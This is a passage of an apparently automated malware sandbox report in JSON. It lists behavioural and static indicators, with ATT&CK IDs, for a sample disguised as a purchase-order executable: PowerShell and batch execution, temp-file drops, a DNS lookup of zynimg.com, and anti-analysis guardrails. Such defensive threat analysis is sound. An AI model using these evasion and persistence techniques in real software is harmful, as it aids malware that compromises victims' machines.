\"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"CreateThreadpool\" (Indicator: \"CreateThread\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolIo\" (Indicator: \"CreateThread\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.Start\" in \"HJ GROUPS - PURCHASE ORDER #170331.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Process\"; File: \"powershell.exe\")\n file/memory contains long string with (Indicator: \"Start-Process\"; Source: \"00000000-00005088.00000000.292569.D7B20000.00000004.mdmp, 00000000-00005088.00000001.293020.D7B20000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"Start-Process\"; Source: \"00000000-00005088.00000000.292569.D7B20000.00000004.mdmp, 00000000-00005088.00000000.292569.D7D30000.00000004.mdmp, 00000000-00005088.00000000.292569.D9690000.00000004.mdmp, 00000000-00005088.00000001.293020.D7B20000.00000004.mdmp, 00000000-00005088.00000001.293020.D7D30000.00000004.mdmp, 00000000-00005088.00000001.293020.D9690000.00000004.mdmp, 00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp, 00000000-00005088.00000001.293020.F1FB1000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$36","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$37","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"__PSScriptPolicyTest_cngezrz0.hi4.ps1\" as clean (type is \"ASCII text with no line terminators\")\n Antivirus vendors marked dropped file \"__PSScriptPolicyTest_trctbrev.kim.ps1\" as clean (type is \"ASCII text with no line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"$38","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/C \"%TEMP%\\\\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat\"\" (UID: 00000000-00003572)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$39","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"HJ GROUPS - PURCHASE ORDER #170331.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134285453733217935.5088.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134285454216897258.864.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3a","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at 9A040000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at 9A040000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at C3BD0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at D1C40000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at D1C40000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at D1390000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at D1C40000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at D1390000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at D1390000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at D1C40000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 9B600000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 9B600000\n \"csc.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 9B600000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D2820000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D2820000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D2820000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D2820000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D2820000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a0000000000204235d2ff7f0000@ntdll.dll\"\n \"2200230000000000404235d2ff7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"HJ GROUPS - PURCHASE ORDER #170331.exe\" was detected as \".NET\" and name: \"Library\"\n \"HJ GROUPS - PURCHASE ORDER #170331.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$3c","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"HJ GROUPS - PURCHASE ORDER #170331.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","id":"static-144","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"HJ GROUPS - PURCHASE ORDER #170331.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"HJ GROUPS - PURCHASE ORDER #170331.exe\" file has an entrypoint instructions - \"jmp\tdword ptr [0x402000],add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,inc\teax,arpl\tword ptr gs:[eax + 0x6f], bp,and\tbyte ptr [edi + 0x66], ch,or\tax, 0xd0a,or\tal, byte ptr [eax + 0x65],arpl\tword ptr [eax + 0x6f], bp,and\tbyte ptr [edi + 0x66], ch,or\tax, 0xd0a,or\tbh, byte ptr [edx],cmp\tah, byte ptr [eax],cmp\teax, 0x3d3d3d3d,cmp\teax, 0x3d3d3d3d,cmp\teax, 0x3d3d3d3d,cmp\teax, 0x3d3d3d3d,cmp\teax, 0x3d3d3d3d,cmp\teax, 0x3d3d3d3d,cmp\teax, 0x3d3d3d3d,cmp\teax, 0xa0d3d3d,cmp\tbh, byte ptr [edx],and\tbyte ptr [esi + 0x49], dl,push\tedx,push\tesp,push\tebp,inc\tecx,dec\tesp,and\tbyte ptr [ebp + 0x4f], cl,dec\tesi,dec\tecx,push\tesp,dec\tedi,push\tedx,dec\tecx,dec\tesi,inc\tedi,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$3d","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$3e","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"zynimg.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"HJGROUPS-PURCHASEORDER#170331.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\USER PROFILE\"; Key: \"LANGUAGES\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\GEO\"; Key: \"NAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$40","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$41","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_trctbrev.kim.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ansarajn.xxt.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cngezrz0.hi4.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_1edghtcv.q3b.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\u2nd3ci3\\u2nd3ci3.0.cs\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\u2nd3ci3\\u2nd3ci3.cmdline\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\u2nd3ci3\\u2nd3ci3.out\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to establish persistence using Exchange transport agent (.NET)","description":"Found string \"shdocvw = s 'IAttachmentExecute'\" (Source: \"00000000-00000864.00000002.296961.C3B99000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-938","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$42","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$43","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"HJGROUPS-PURCHASEORDER#170331.exe\" queries basic process information of the \"C:\\HJGROUPS-PURCHASEORDER#170331.exe\" (UID: 7312)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$44","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Triggers a burst of requests to the same API (API 